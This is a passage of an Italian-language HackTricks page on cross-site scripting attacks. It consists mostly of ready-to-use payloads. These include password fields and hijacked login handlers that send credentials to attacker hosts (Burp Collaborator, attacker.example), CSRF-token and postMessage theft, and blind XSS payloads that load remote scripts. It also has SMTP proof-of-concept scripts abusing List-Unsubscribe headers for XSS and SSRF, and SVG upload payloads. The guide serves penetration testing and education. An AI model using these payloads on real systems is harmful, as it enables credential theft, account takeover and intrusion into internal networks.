<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Quando vengono inseriti dati nel campo password, lo username e la password vengono inviati al server dell’attacker; anche se il client seleziona una saved password e non scrive nulla, le credentials verranno ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Se un handler critico (es., function DoLogin(){...}) viene dichiarato più avanti nella pagina, e il tuo payload viene eseguito prima (es., tramite un inline JS-in-JS sink), definisci prima un const con lo stesso nome per anticipare e bloccare l’handler. Le dichiarazioni di funzione successive non possono riassegnare un nome const, lasciando il tuo hook in controllo:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Note
- Questo dipende dall’ordine di esecuzione: la tua injection deve essere eseguita prima della dichiarazione legittima.
- Se il tuo payload è racchiuso in
eval(...), i bindingconst/letnon diventeranno globali. Usa la tecnica di injection dinamica<script>dalla sezione “Deliverable payloads with eval(atob()) and scope nuances” per assicurare un binding globale vero e non riassegnabile. - Quando i filtri per parole chiave bloccano il codice, combina con identificatori Unicode-escaped o con la delivery
eval(atob('...')), come mostrato sopra.
Keylogger
Cercando su github ho trovato alcuni esempi diversi:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Puoi anche usare metasploit
http_javascript_keylogger
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Rubare messaggi PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
PostMessage-origin script loaders (opener-gated)
Se una pagina memorizza event.origin da un postMessage e successivamente lo concatena in un URL di uno script, il mittente controlla l’origin del JS caricato:
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
Exploitation recipe (from CAPIG):
- Gates: si attiva solo quando
window.openeresiste epixel_idè allowlisted; origin non viene mai controllato. - Use CSP-allowed origin: pivot to a domain already permitted by the victim CSP (e.g., pagine di help non loggate che permettono analytics come
*.THIRD-PARTY.com) e ospitare/sdk/<pixel_id>/iwl.jslì via takeover/XSS/upload. - Restore
opener: in Android WebView,window.name='x'; window.open(target,'x')fa sì che la pagina diventi il proprio opener; invia il maliciouspostMessageda un iframe hijacked. - Trigger: the iframe posts
{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; il parent poi carica attackeriwl.jsdall’origin consentita da CSP e lo esegue.
This turns origin-less postMessage validation into a remote script loader primitive that survives CSP if you can land on any origin already allowed by the policy.
Supply-chain stored XSS via backend JS concatenation
When a backend builds a shared SDK by concatenating JS strings with user-controlled values, qualsiasi quote/structure breaker può inject script che viene servito a ogni consumer:
- Example pattern (Meta CAPIG): il server appende
cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});direttamente incapig-events.js. - Injecting
'or"]}chiude il literal/object e aggiunge attacker JS, creando stored XSS nello SDK distribuito per ogni sito che lo carica (first-party e third-party).
Stored XSS in generated reports when escaping is disabled
Se i file uploadati vengono parsati e i loro metadata vengono stampati in report HTML con escaping disabilitato (|safe, custom renderers), quei metadata sono una stored XSS sink. Example flow:
xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
'title': a_template['title'] % t_name # %s fed by xmlhost
Un template Django renderizza {{item|key:"title"|safe}}, quindi l’HTML dell’attacker viene eseguito.
Exploit: inserisci HTML codificato con entità in qualsiasi campo manifest/config che raggiunge il report:
<data android:scheme="android_secret_code"
android:host="<img src=x onerror=alert(document.domain)>"/>
Reso con |safe, il report restituisce <img ...> ed esegue JS alla visualizzazione.
Hunting: cerca costruttori di report/notifiche che riutilizzano campi analizzati in %s/f-strings e disabilitano l’auto-escape. Un tag codificato in un manifest/log/archivio caricato fa persistere XSS per ogni visualizzatore.
Abuso dei Service Workers
Accesso al Shadow DOM
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS payloads
Puoi anche usare: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Accesso a contenuti nascosti
Da this writeup è possibile apprendere che, anche se alcuni valori scompaiono da JS, è comunque possibile trovarli negli attributi JS di oggetti diversi. Ad esempio, un input di una REGEX è ancora possibile trovarlo dopo che il valore dell’input della regex è stato rimosso:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
XSS Abuso di altre vulnerabilità
XSS in Markdown
È possibile iniettare codice Markdown che verrà renderizzato? Forse puoi ottenere XSS! Controlla:
XSS to SSRF
Hai XSS su un sito che usa la cache? Prova a trasformarlo in SSRF tramite Edge Side Include Injection con questo payload:
<esi:include src="http://yoursite.com/capture" />
Usalo per bypassare le restrizioni sui cookie, i filtri XSS e molto altro!\ Maggiori informazioni su questa tecnica qui: XSLT.
XSS in PDF creato dinamicamente
Se una pagina web crea un PDF usando input controllato dall’utente, puoi provare a ingannare il bot che crea il PDF per farlo eseguire codice JS arbitrario.
Quindi, se il bot creatore del PDF trova qualche tipo di HTML tag, li interpretarà, e puoi abusare di questo comportamento per causare un Server XSS.
Se non puoi iniettare tag HTML, potrebbe valere la pena provare a iniettare dati PDF:
XSS in Amp4Email
AMP, pensato per accelerare le prestazioni delle pagine web sui dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con enfasi su velocità e sicurezza. Supporta una serie di componenti per varie funzionalità, accessibili tramite AMP components.
Il formato AMP for Email estende componenti AMP specifici alle email, consentendo ai destinatari di interagire direttamente con i contenuti all’interno delle loro email.
Esempio writeup XSS in Amp4Email in Gmail.
Abuso dell’header List-Unsubscribe (Webmail XSS & SSRF)
L’header RFC 2369 List-Unsubscribe incorpora URI controllati dall’attaccante che molti client webmail e mail convertono automaticamente in pulsanti “Unsubscribe”. Quando quegli URI vengono renderizzati o recuperati senza validazione, l’header diventa un punto di injection sia per stored XSS (se il link per annullare l’iscrizione viene inserito nel DOM) sia per SSRF (se il server esegue la richiesta di unsubscribe per conto dell’utente).
Stored XSS via javascript: URIs
- Inviati un’email in cui l’header punta a un URI
javascript:mantenendo il resto del messaggio innocuo in modo che i filtri antispam non lo scartino. - Assicurati che l’UI renderizzi il valore (molti client lo mostrano in un pannello “List Info”) e verifica se il
<a>risultante eredita attributi controllati dall’attaccante comehrefotarget. - Innesca l’esecuzione (es. CTRL+click, click centrale, o “apri in una nuova scheda”) quando il link usa
target="_blank"; i browser valuteranno il JavaScript fornito nell’origine dell’applicazione webmail. - Osserva la primitiva di stored-XSS: il payload persiste nell’email e richiede solo un click per essere eseguito.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Il byte di newline (%0a) nell’URI mostra che anche caratteri insoliti sopravvivono alla pipeline di rendering in client vulnerabili come Horde IMP H5, che stamperà la stringa letteralmente all’interno del tag anchor.
Minimo SMTP PoC che invia un List-Unsubscribe header malevolo
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### Proxy di disiscrizione lato server -> SSRF
Alcuni client, come Nextcloud Mail app, fanno da proxy all'azione di disiscrizione lato server: cliccare il pulsante istruisce il server a recuperare direttamente l'URL fornito. Questo trasforma l'header in una primitiva SSRF, specialmente quando gli amministratori impostano 'allow_local_remote_servers' => true (documentato in [HackerOne report 2902856](https://hackerone.com/reports/2902856)), il che permette richieste verso loopback e gli intervalli RFC1918.
1. **Crea un'email** in cui `List-Unsubscribe` punti a un endpoint controllato dall'attaccante (per SSRF cieca usa Burp Collaborator / OAST).
2. **Mantieni `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** in modo che l'UI mostri un pulsante di disiscrizione con un solo clic.
3. **Soddisfa i requisiti di fiducia**: Nextcloud, ad esempio, esegue richieste HTTPS di unsubscribe solo se il messaggio supera DKIM, quindi l'attaccante deve firmare l'email usando un dominio che controlla.
4. **Consegna il messaggio** a una casella gestita dal server target e attendi che un utente clicchi il pulsante di unsubscribe.
5. **Osserva la callback lato server** sull'endpoint collaborator, poi pivot verso indirizzi interni una volta confermata la primitiva.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Messaggio List-Unsubscribe firmato DKIM per test SSRF
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**Note di test**
- Usa un endpoint OAST per raccogliere hit SSRF blind, quindi adatta l'URL `List-Unsubscribe` per puntare a `http://127.0.0.1:PORT`, ai servizi di metadati, o ad altri host interni una volta confermata la primitiva.
- Poiché l'helper di unsubscribe spesso riutilizza lo stesso HTTP stack dell'applicazione, erediti le sue impostazioni proxy, i verb HTTP e le riscritture degli header, abilitando ulteriori traversal tricks descritti in the [SSRF methodology](../ssrf-server-side-request-forgery/README.md).
### XSS caricamento file (svg)
Carica come immagine un file come il seguente (da [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Trova più SVG payloads su https://github.com/allanlw/svg-cheatsheet
Trucchi JS vari e informazioni rilevanti
Misc JS Tricks & Relevant Info
Risorse XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Riferimenti
- Turning a harmless XSS behind a WAF into a realistic phishing vector
- XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail
- HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- MDN eval()
- CAPIG XSS: postMessage origin trust becomes a script loader + backend JS concatenation enables supply-chain stored XSS
- MobSF stored XSS via manifest analysis (unsafe Django safe sink)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


